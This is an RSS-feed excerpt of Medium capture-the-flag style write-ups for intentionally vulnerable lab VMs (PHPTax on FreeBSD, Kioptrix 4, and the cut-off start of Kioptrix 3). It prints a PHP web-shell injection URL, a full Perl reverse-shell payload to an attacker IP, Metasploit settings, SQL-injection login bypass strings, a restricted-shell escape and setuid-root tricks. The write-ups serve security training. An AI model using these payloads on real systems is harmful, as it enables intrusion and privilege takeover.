content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3b6bEB57GkA19avA0ZU3w.png" /></figure><p>What is PHPTAX in the first place?</p><blockquote>PhpTax is software used to calculate U.S. income taxes. The application is prone to a remote code-execution vulnerability because it fails to sanitize user-supplied input submitted to the ‘pfilez’ parameter of the ‘drawimage.php’ script.</blockquote><p>After using searchsploit I found out that there are two methods to exploit this software:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*YpXDpdlST1SC8fLmq6Seig.png" /></figure><p><strong>Method 1: File Manipulation ‘newvalue’ / Remote Code Execution</strong></p><p>The exploit simply creates a file named rce.php and injects the following PHP code into it: &lt;?php passthru($_GET[‘cmd’]); ?&gt;. We then use the cmd parameter to execute our malicious commands on the web server.</p><p>First, we use the URL-encoded payload in the URL, so it will be:</p><pre>http://192.168.109.148:8080/phptax/index.php?field=rce.php&amp;newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E</pre><p>Using that URL, we created the file. Now, we should send a request to the file location with the cmd parameter to execute our commands. Let’s say we want to run the id command, so the URL will be:</p><pre>http://192.168.109.148:8080/phptax/data/rce.php?cmd=id</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*Yo5FBF9lDZjwtXE1j6KfWw.png" /></figure><p>Now that it is working, let’s set up a reverse shell. First, we should establish the listener. I’ll use nc for that:</p><pre>nc -lnvp 7701</pre><p>I tried nc , python , and bash but none of them worked. Let’s try Perl payload. I got the payload from the <a href="https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl">Reverse Shell Cheat Sheet</a>. The URL will be:</p><pre>http://192.168.109.148:8080/phptax/data/rce.php?cmd=perl%20-e%20%27use%20Socket%3b%24i%3d%22192.168.109.131%22%3b%24p%3d7701%3bsocket(S%2cPF_INET%2cSOCK_STREAM%2cgetprotobyname(%22tcp%22))%3bif(connect(S%2csockaddr_in(%24p%2cinet_aton(%24i)))){open(STDIN%2c%22%3E%26S%22)%3bopen(STDOUT%2c%22%3E%26S%22)%3bopen(STDERR%2c%22%3E%26S%22)%3bexec(%22%2fbin%2fsh%20-i%22)%3b}%3b%27</pre><p>And boom!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*-DDiD69itaG_0vewoxDOBg.png" /></figure><p>We have a reverse shell now :)</p><p><strong>Method 2: ‘pfilez’ Execution Remote Code Injection</strong></p><p>This exploitation can be done manually or using Metasploit. Since we have done the first method manually, let’s try the automated one using msfconsole. The sequence of commands will be:</p><pre>msfconsole #run metasploit framwork<br>search phptax #search for modules related to phptax<br>use 0 or use exploit/multi/http/phptax_exec # to use the module<br>show options # to display the options and what is required to be set<br>set RHOSTS 192.168.109.148 #set target ip<br>set RPORT 8080 #set target port<br>set PAYLOAD cmd/unix/reverse_perl #choose payload<br>set LHOST eth0 #set local ip of interface eth0<br>set useragent Mozilla/4.0\ (Macintosh;\ Intel\ Mac\ OS\ X\ 10_15_7)\ AppleWebKit/537.36\ (KHTML,\ like\ Gecko)\ Chrome/123.0.0.0\ Safari/537.36<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DGuijMaDg58tpPjnSbbQxQ.png" /></figure><p>After running you will get a reverse shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CZ-IBoz3IkBwBRKrcQSgqQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/0*v4OQc2elW96axCdn.gif" /></figure><h3>💥Post-Exploitation</h3><p>Now that we have a shell, the next goal is to gain root access. From the enumeration section, we know that we are dealing with the FreeBSD operating system. To be more sure you can check it with this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7D_kFs1kpaKV8_fARnhPlg.png" /></figure><p>Using searchsploit, I found two exploits:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tlEW4Y4nPWr6aDhhvCMfGQ.png" /></figure><p>Let’s try the first one. Bring the source code to the current working directory using this command:</p><pre>searchsploit -m freebsd/local/28718.c</pre><p>Next, to transfer the file to the victim machine, we are going to run a simple HTTP server using Python:</p><pre>python3 -m http.server 80</pre><p>Now, on the victim machine, navigate to a directory where you have write permissions. /tmp is commonly used for that purpose. After that download the file. I tried to do this using wget but it didn’t work so I went for fetch :</p><pre>fetch http://192.168.109.131:80/28718.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*ZIv8ivkrX5Hqe7keLnK_Mg.png" /></figure><p>The final step is to compile and run the exploit:</p><pre>gcc -o privesc 28718.c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*GNFPbwGEj-ml7lFtqf7oSQ.png" /></figure><p>Kudos! That’s it for today. I hope this writeup was useful for you folks; stay safe and keep pinging :)</p><p>𓇨𓋴𓅂𓈖𓋴𓅂𓇋𓂂𓃏 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3f8b9cbefa2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 4: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/kioptrix-4-boot-to-root-b00cd210d8da?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/b00cd210d8da</guid>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kioptrix]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Fri, 14 Jun 2024 19:34:58 GMT</pubDate>
            <atom:updated>2024-06-15T20:20:19.603Z</atom:updated>
            <content:encoded><![CDATA[<p>Again a long delay between VMs, but that cannot be helped. Work and family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that:</p><p>1. It’s possible to compromise the machine remotely</p><p>2. Stays within the target audience of this site</p><p>3. Must be “realistic” (well kinda…)</p><p>4. Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kDAeP_NRgZEpVvrghmiGtQ.png" /></figure><h3>📖Introduction</h3><p>Hello folks, I hope everything is going well with you. In this write-up, we will explore how to install, configure, and exploit the Kioptrix 4 VM to gain root access to the machine.</p><h3>🖥️Lab Setup</h3><ul><li>VMWare workstation</li><li>Kali Linux VM</li><li><a href="https://www.vulnhub.com/entry/kioptrix-level-13-4,25/">Kioptrix Level 4 Vulnhub VM</a></li></ul><p>Before the ink dries, let’s get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/0*GEnHj_tu5jdOVLOU" /></figure><h3>⬇️Installation</h3><p>After downloading the machine’s file, you will find that it’s a “.rar” file. Extract its contents and you will find this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*eHM-HSR-rB5JqvFx3UujUA.png" /></figure><p><a href="https://www.diskinternals.com/vmfs-recovery/vmdk-file-format/">.vmdk</a> file is a virtual machine disk format is a container format that stores every information about the said virtual machine.</p><p>Creating a virtual machine (VM) on VMware and importing a .vmdk file involves several steps. Here&#39;s a detailed guide to help you through the process:</p><p><strong>Step 1:</strong> <strong>Create a New Virtual Machine</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*ObBXDiUdNxtwvwPlkIAYfw.png" /></figure><ul><li>Click on <strong>File</strong> &gt; <strong>New Virtual Machine</strong>.</li><li>Select <strong>Custom (advanced)</strong> and click <strong>Next</strong>.</li></ul><p><strong>Step 2: Choose the Virtual Machine Hardware Compatibility</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*z5QEGqqmH84Qdg_4_USguA.png" /></figure><ul><li>Choose <strong>I will install the operating system later</strong> and click <strong>Next</strong>.</li></ul><p><strong>Step 3:</strong> <strong>Select a Guest Operating System</strong>:</p><p>Select the operating system type and version that matches the one on the .vmdk file. Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*bBJW20qXMacZxLy-qQdDFw.png" /></figure><p><strong>Step 4: Name the Virtual Machine:</strong></p><p>Enter a name and specify a location for the VM. Click <strong>Next</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/428/1*I6NdnssJaMphfkgPtjZ01g.png" /></figure><p><strong>Steps 5: Configure the Processor and the Memory</strong>:</p><ul><li>Set the number of processors and cores (1, and 1). Click <strong>Next</strong>.</li><li>Set the amount of memory for the VM. Click <strong>Next</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oDcRPwlvkDxco1gF_4SC7Q.png" /></figure><p><strong>Steps 6: Configure the Network Type</strong>:</p><ul><li>Choose the appropriate network type (e.g., NAT, Bridged, Host-only). Click <strong>Next</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*8oJYdHY-knGiMvcaIo1XZg.png" /></figure><p><strong>Step 7:</strong> <strong>Configure the I/O Controller types and the Disk</strong>:</p><ul><li>Use the recommended settings. Click <strong>Next</strong>.</li><li>Select <strong>Use an existing virtual disk</strong> and click <strong>Next</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3TgLceObpUu_EoEztpLhsA.png" /></figure><p><strong>Step 8:</strong> <strong>Select the Disk</strong>:</p><p>Browse and select the .vmdk file you have. Click <strong>Next.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PFaU95Pq_B9lL3SUg1WoiA.png" /></figure><p><strong>Step 9:</strong> <strong>Complete the Virtual Machine Creation</strong>:</p><ul><li>Review the hardware settings and click <strong>Finish</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*r08zXjWt56klyYWy34oCHQ.png" /></figure><p><strong>Step 10:</strong> <strong>Power On the Virtual Machine</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4RqlXNbwhg0jUFeRj-UQpQ.png" /></figure><h3>🔍Host Discovery</h3><p>After installing the VM, we need to determine the IP address assigned to it. Many tools can accomplish this. In this article, we’ll be using the netdiscover:</p><pre>sudo netdiscover -i eth0 -r 192.168.109.0/24</pre><p>“192.168.109.0/24” is the NAT subnet in my VMWare workstation. It could be different on your device. This will show all up devices on your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*IMPXnO8-T2xF9pt81KV47A.png" /></figure><p>From the scanning result above, the target IP address is “192.168.109.141”. The other active hosts are the VMware default gateway, the DHCP server, and the DNS server.</p><h3>🕵🏼Enumeration</h3><p>After identifying the target, we need to scan for open ports and the services running on each of them to understand our attack surface. Nmap will be a great choice for that.</p><pre>target=192.168.109.147<br>sudo nmap -sS -T4 -p- -sVC -O $target -oN scan-result.txt</pre><p>let’s break this command down:</p><p>sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.</p><ul><li>-sS: for <a href="https://nmap.org/book/synscan.html">stealthy scan</a></li><li>-T4: for aggressive <a href="https://nmap.org/book/performance-timing-templates.html">Timing Templates</a></li><li>-p-: for scanning all ports</li><li>-sV: for <a href="https://nmap.org/book/vscan.html">service detection</a></li><li>-sC: to use <a href="https://nmap.org/book/nse-usage.html#nse-categories">default NSE scripts</a></li><li>-O: <a href="https://nmap.org/book/man-os-detection.html">OS detection</a></li><li>-oN: save the scan results in “scan-result.txt”</li></ul><p>Here are the scan results from the previous command:</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 10:45 EDT<br>Verbosity Increased to 1.<br>Completed SYN Stealth Scan at 10:45, 22.07s elapsed (65535 total ports)<br>Initiating Service scan at 10:45<br>Scanning 4 services on 192.168.109.147<br>Completed Service scan at 10:46, 11.10s elapsed (4 services on 1 host)<br>Initiating OS detection (try #1) against 192.168.109.147<br>NSE: Script scanning 192.168.109.147.<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.42s elapsed<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.01s elapsed<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.00s elapsed<br>Nmap scan report for 192.168.109.147<br>Host is up (0.00042s latency).<br>Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)<br>PORT    STATE SERVICE     VERSION<br>22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)<br>| ssh-hostkey: <br>|   1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)<br>|_  2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)<br>80/tcp  open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)<br>|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch<br>| http-methods: <br>|_  Supported Methods: GET HEAD POST OPTIONS<br>|_http-title: Site doesn&#39;t have a title (text/html).<br>139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)<br>445/tcp open  netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)<br>MAC Address: 00:0C:29:EF:7E:A0 (VMware)<br>Device type: general purpose<br>Running: Linux 2.6.X<br>OS CPE: cpe:/o:linux:linux_kernel:2.6<br>OS details: Linux 2.6.9 - 2.6.33<br>Uptime guess: 0.016 days (since Thu Jun 13 10:22:40 2024)<br>Network Distance: 1 hop<br>TCP Sequence Prediction: Difficulty=204 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel<br><br>Host script results:<br>| smb-os-discovery: <br>|   OS: Unix (Samba 3.0.28a)<br>|   Computer name: Kioptrix4<br>|   NetBIOS computer name: <br>|   Domain name: localdomain<br>|   FQDN: Kioptrix4.localdomain<br>|_  System time: 2024-06-13T12:05:36-04:00<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>|_smb2-time: Protocol negotiation failed (SMB2)<br>|_clock-skew: mean: 3h19m29s, deviation: 2h49m42s, median: 1h19m29s<br>| nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: &lt;unknown&gt; (unknown)<br>| Names:<br>|   KIOPTRIX4&lt;00&gt;        Flags: &lt;unique&gt;&lt;active&gt;<br>|   KIOPTRIX4&lt;03&gt;        Flags: &lt;unique&gt;&lt;active&gt;<br>|   KIOPTRIX4&lt;20&gt;        Flags: &lt;unique&gt;&lt;active&gt;<br>|   \x01\x02__MSBROWSE__\x02&lt;01&gt;  Flags: &lt;group&gt;&lt;active&gt;<br>|   WORKGROUP&lt;1d&gt;        Flags: &lt;unique&gt;&lt;active&gt;<br>|   WORKGROUP&lt;1e&gt;        Flags: &lt;group&gt;&lt;active&gt;<br>|_  WORKGROUP&lt;00&gt;        Flags: &lt;group&gt;&lt;active&gt;<br><br>NSE: Script Post-scanning.<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.00s elapsed<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.00s elapsed<br>Initiating NSE at 10:46<br>Completed NSE at 10:46, 0.00s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 35.88 seconds<br>           Raw packets sent: 91558 (4.029MB) | Rcvd: 39548 (1.583MB)</pre><p>As indicated in the output above, there are four open ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS), and 445 (SMB).</p><p>We’ll start by enumerating SMB. One of my favorite tools for this is enum4linux. The command to use is:</p><pre>enum4linux -a $target</pre><p>The output of this command shows the users that exist on the target machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxxDQQRRatrz4aHrBkgiBQ.png" /></figure><p>Now that we know the local users on the machine, let’s move on to HTTP enumeration. First, we should fuzz for useful directories. To do that I’ll use gobuster. Command is:</p><pre>gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://$target </pre><p>Output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xI8iTD_PaRooU0gbGp2MlQ.png" /></figure><p>When you open the /john and /robert directories, you will find john.php and robert.php. These two pages will redirect you to index.php, which is a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JGGwpo5VtfyFGykQj34_aQ.png" /></figure><p>After trying default login credentials such as admin:admin and admin:password, I was redirected to the checklogin.php page with the following message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*4YOdwoQuO67ClZJhtswFQQ.png" /></figure><p>The issue here is that the warning message does not indicate whether the username or the password is incorrect. So, I tried using ’ as both the username and password to check if any fields are vulnerable to SQL injection (SQLi).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*V-SRzLI8Q_Nq4o8ghY0qEQ.png" /></figure><p>Then I received this error message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lYxZT911IePl3CFLSidNyw.png" /></figure><h3>👨🏻‍💻Exploitation</h3><p>From this error message, we can deduce three pieces of information. First, the target machine is using a MySQL database. Second, the web server directory is located at /var/www. Third, the vulnerability exists in the password field, as indicated by the error appearing when the password input was &#39;.</p><p>Now we can bypass the authentication for any existing user if we know their username. If the command that is sent to the database is:</p><pre>select * from users where username=&#39;john&#39; and password=&#39;test&#39;</pre><p>We can inject an SQL logical statement such as &#39; OR 1=1 --+to bypass authentication. Let’s use one of the usernames we obtained from the SMB enumeration:</p><p>Username: john</p><p>Password: &#39; OR 1=1 --+ where + is a white space</p><p>After logging in, it redirects you to the `member.php` page, where the content of the page displays the user’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xl9lHynXLjgpIows0_2RDQ.png" /></figure><p>Let’s try with the other users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*8bDXVgUAxKAxwfpF0bv0yw.png" /></figure><p>I couldn’t get the password of any other user but Robert. I was facing this message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*cm1RVE7TOuoYmUnEdIOR_w.png" /></figure><p>Now that we have the credentials of John and Robert, who are local users, let’s attempt to log in via SSH using their credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/595/1*TkITjT6qxGBaEgySDO2o1A.png" /></figure><p>After logging in, you will find yourself in a restricted shell where only the following commands are allowed: cd, clear, echo, exit, help, ll, lpath, and ls. It also kicks you out of the session if you make any mistakes with the command line, such as printing the shell variables.</p><p>I searched extensively on Google, and after a while, I found a method to bypass this restricted shell in an article titled “<a href="https://www.sans.org/blog/escaping-restricted-linux-shells/">Escaping Restricted Linux Shells</a>”.</p><pre>echo os.system(&quot;/bin/bash&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/555/1*XQQXHKEUdSUi5y5BVenzDw.png" /></figure><blockquote>If you want to understand why the command “echo os.system(‘/bin/bash’)” allowed us to escape this restricted shell, you can check this page: <a href="https://unix.stackexchange.com/questions/370769/why-does-echo-os-system-bin-bash-work">Why does “echo os.system(‘/bin/bash’)” work?</a></blockquote><p>Now, I’ll check the source code of the web pages to look for credentials for the database. After a bit of searching, I found the root credentials for the database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*7vq6Q9BDGAP3EGvYM4L-rA.png" /></figure><blockquote>root: &lt;nopass&gt;</blockquote><p>We’ll back to this later, but for now, let’s enumerate the system to identify any vulnerabilities that could allow us to elevate our privileges. To do that I’ll use <a href="https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS">linPEAS</a></p><p>On the attacker machine, start a netcat listener with the following command:</p><pre>nc -nlvp 7702 &lt; linpeas.sh</pre><p>On the target machine, change your current working directory to a directory where you have write permissions. After that, use netcatto download the file using this command:</p><pre>netcat -n 192.168.109.131 &gt; linpeas.sh</pre><p>The last step is to change the permissions of the file to make it executable. Use the following command for that:</p><pre>chmod +x linpeas.sh</pre><p>The output of the tool shows us many useful info about the system:</p><pre>==============snippet=================<br>╔══════════╣ Searching mysql credentials and exec<br>Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so                                                                                         <br>If you can login in MySQL you can execute commands doing: SELECT sys_eval(&#39;id&#39;);<br>Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so<br>If you can login in MySQL you can execute commands doing: SELECT sys_eval(&#39;id&#39;);<br>From &#39;/etc/mysql/my.cnf&#39; Mysql user: user               = root<br>Found readable /etc/mysql/my.cnf<br>[client]<br>port            = 3306<br>socket          = /var/run/mysqld/mysqld.sock<br>[mysqld_safe]<br>socket          = /var/run/mysqld/mysqld.sock<br>nice            = 0<br>[mysqld]<br>user            = root<br>pid-file        = /var/run/mysqld/mysqld.pid<br>socket          = /var/run/mysqld/mysqld.sock<br>port            = 3306<br>basedir         = /usr<br>datadir         = /var/lib/mysql<br>tmpdir          = /tmp<br>language        = /usr/share/mysql/english<br>skip-external-locking<br>bind-address            = 127.0.0.1<br>key_buffer              = 16M<br>max_allowed_packet      = 16M<br>thread_stack            = 128K<br>thread_cache_size       = 8<br>query_cache_limit       = 1M<br>query_cache_size        = 16M<br>expire_logs_days        = 10<br>max_binlog_size         = 100M<br>skip-bdb<br>[mysqldump]<br>quick<br>quote-names<br>max_allowed_packet      = 16M<br>[mysql]<br>[isamchk]<br>key_buffer              = 16M<br>!includedir /etc/mysql/conf.d/<br>Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so<br>If you can login in MySQL you can execute commands doing: SELECT sys_eval(&#39;id&#39;);<br>Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so<br>If you can login in MySQL you can execute commands doing: SELECT sys_eval(&#39;id&#39;);<br>==============snippet=================</pre><p>let’s log in to MySQL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*-JlglTvaDadQl9GqowzFMA.png" /></figure><p>After checking the UDF I found :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*SzcctFM0mNiXQPJtDt_P-g.png" /></figure><p><strong>Purpose</strong>: The sys_exec() function allows the execution of shell commands directly from MySQL. When called, it executes the given command on the server&#39;s operating system. Since we have root access to the database, any command executed through this function will run with root privileges!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*bs8LczKm0vSp5TXfSAyMyg.png" /></figure><p>The previous command copies the bash binary to the /tmp directory and then add the setuid permission to it. The setuid bit tells the OS to execute the program with the user ID of its owner.</p><p>Now, if you navigate to the /tmp directory and execute the bash binary with the -p flag, you will gain root privileges:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*GXSZ2_rgVqMJ_VzdYG9ngw.png" /></figure><p>Another method to gain root access is by exploiting a kernel vulnerability.</p><pre>==============snippet=================<br>╔══════════╣ Executing Linux Exploit Suggester 2<br>╚ https://github.com/jondonas/linux-exploit-suggester-2                                                                                                                                      <br>  [1] american-sign-language                                                                                                                                                                 <br>      CVE-2010-4347<br>      Source: http://www.securityfocus.com/bid/45408<br>  [2] can_bcm<br>      CVE-2010-2959<br>      Source: http://www.exploit-db.com/exploits/14814<br>  [3] dirty_cow<br>      CVE-2016-5195<br>      Source: http://www.exploit-db.com/exploits/40616<br>  [4] do_pages_move<br>      Alt: sieve       CVE-2010-0415<br>      Source: Spenders Enlightenment<br>  [5] exploit_x<br>      CVE-2018-14665<br>      Source: http://www.exploit-db.com/exploits/45697<br>  [6] half_nelson1<br>      Alt: econet       CVE-2010-3848<br>      Source: http://www.exploit-db.com/exploits/17787<br>  [7] half_nelson2<br>      Alt: econet       CVE-2010-3850<br>      Source: http://www.exploit-db.com/exploits/17787<br>  [8] half_nelson3<br>      Alt: econet       CVE-2010-4073<br>      Source: http://www.exploit-db.com/exploits/17787<br>  [9] msr<br>      CVE-2013-0268<br>      Source: http://www.exploit-db.com/exploits/27297<br>  [10] pipe.c_32bit<br>      CVE-2009-3547<br>      Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c<br>  [11] pktcdvd<br>      CVE-2010-3437<br>      Source: http://www.exploit-db.com/exploits/15150<br>  [12] reiserfs<br>      CVE-2010-1146<br>      Source: http://www.exploit-db.com/exploits/12130<br>  [13] sock_sendpage<br>      Alt: wunderbar_emporium       CVE-2009-2692<br>      Source: http://www.exploit-db.com/exploits/9435<br>  [14] sock_sendpage2<br>      Alt: proto_ops       CVE-2009-2692<br>      Source: http://www.exploit-db.com/exploits/9436<br>  [15] video4linux<br>      CVE-2010-3081<br>      Source: http://www.exploit-db.com/exploits/15024<br>  [16] vmsplice1<br>      Alt: jessica biel       CVE-2008-0600<br>      Source: http://www.exploit-db.com/exploits/5092<br>  [17] vmsplice2<br>      Alt: diane_lane       CVE-2008-0600<br>      Source: http://www.exploit-db.com/exploits/5093<br>==============snippet=================</pre><p>This kernel version is vulnerable to <a href="https://github.com/firefart/dirtycow">DirtyCow</a>. As we have done with linpeas file I’ll transfer the exploitation code from the attacker machine to the target machine.</p><p>Compile with:</p><pre>gcc -pthread dirty.c -o dirty -lcrypt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*1lBxeVATeQDwTu1Z49E18g.png" /></figure><p>Unfortunately, the GCC compiler is not installed on the machine, so we are unable to build our binary to exploit the kernel.</p><p>That’s it for today. I hope this writeup was useful for you folks; stay safe and keep pinging :)</p><p>WHNlbnNlaTA3 😉</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b00cd210d8da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kioptrix 3: Boot-to-Root]]></title>
            <link>https://sensei0x01.medium.com/kioptrix-3-boot-to-root-ba96b7a8a2a4?source=rss-3da79e7aaca3------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba96b7a8a2a4</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[kioptrix]]></category>
            <dc:creator><![CDATA[sensei0x01]]></dc:creator>
            <pubDate>Fri, 07 Jun 2024 14:15:26 GMT</pubDate>
            <atom:updated>2024-06-07T22:52:46.057Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s been a while since the last Kioptrix VM challenge. Life keeps getting the way of these things you know.</p><p>After seeing the number of downloads for the last two, and the numerous videos showing ways to beat these challenges. I felt that 1.2 (or just level 3) needed to come out. Thank you to all who downloaded and played the first two. And thank you to the ones that took the time to produce video solutions for them. Greatly appreciated.</p><p>As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more than one way to “pwn” this one. There’s easy and not so easy. Remember… the sense of “easy” or “difficult” is always relative to one&#39;s skill level. I never said these things were exceptionally hard, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CJm5Ioxq_n9GIJrlE21KHA.png" /></figure><h3>📖Introduction</h3><p>Hello folks, I hope everything is going well with you. In this write-up, we will explore how to install, configure, and exploit the Kioptrix 3 VM, with the ultimate goal of gaining root access to the machine.</p><h3>🖥️Lab Setup</h3><ul><li>VMWare workstation</li><li>Kali Linux VM</li><li><a href="https://www.vulnhub.com/entry/kioptrix-level-12-3,24/">Kioptrix Level 3 Vulnhub VM</a></li></ul><p>Without further ado, let’s go!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/0*PVifl_gZ6pmZXChB" /></figure><h3>⬇️Installation</h3><p>After downloading the machine’s file, you will find that it’s a “.rar” file. Extract its contents and you will find these files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/625/1*X8mUvHS3BT8HkUnRUznsSw.png" /></figure><p>Right-click on the “.vmx” file and choose any text editor to modify the configuration of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/362/1*4ZCEyadrWKUy6FBjzl5rgA.png" /></figure><p>Go to line 10 and change it from:</p><blockquote><em>ethernet0.networkName = “Bridged”</em></blockquote><p>to</p><blockquote>ethernet0.connectionType = “nat”</blockquote><p>Next, open the “.vmx” file using the VMWare workstation and power on the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*uma6HGgT4vQ7XtiAInvk8A.png" /></figure><h3>🔍Host Discovery</h3><p>After installing the VM, we need to determine the IP address assigned to it. Many tools can accomplish this. In this article, we’ll be using the “arp-scan”:</p><pre>sudo arp-scan -I eth0 -g 192.168.109.0/24</pre><p>“192.168.109.0/24” is the NAT subnet in my VMWare workstation. It could be different on your device. This will show all up devices on your network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*yzXFDMRioUFfP-t5_pMPBA.png" /></figure><p>From the scanning result above, the target IP address is “192.168.109.141”. The other active hosts are the VMware default gateway, the DHCP server, and the DNS server.</p><h3>🕵🏼Enumeration</h3><p>After identifying the target, we need to scan for open 